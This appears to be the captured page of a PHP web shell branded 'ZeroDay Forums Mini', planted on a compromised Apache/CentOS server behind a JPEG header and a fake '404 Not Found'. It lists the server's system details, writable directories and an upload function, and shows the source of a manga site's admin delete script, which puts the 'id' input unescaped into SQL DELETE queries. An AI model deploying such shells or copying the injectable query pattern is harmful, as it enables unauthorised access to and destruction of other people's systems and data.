����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/oladi/code/admin/posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/oladi/code/admin/posts/del.php
<?php
$id = $CORE->input['id'];
$row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_truyen WHERE truyen_id='$id'"));
$row_check_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE truyen_id='$id' LIMIT 1"));
if($row_check_chuong){
    close_popup('This manga have some chapters, can not delete');
}
if($row_check){
    if($row_check['truyen_thumb']!='' && file_exists($row_check['truyen_thumb'])){
        unlink($row_check['truyen_thumb']);
    }
}
$DB->query("DELETE FROM tb_truyen WHERE truyen_id='$id'");
$DB->query("DELETE FROM tb_menus_pages WHERE truyen_id='$id'");
close_popup('Deleted manga');
?>

ZeroDay Forums Mini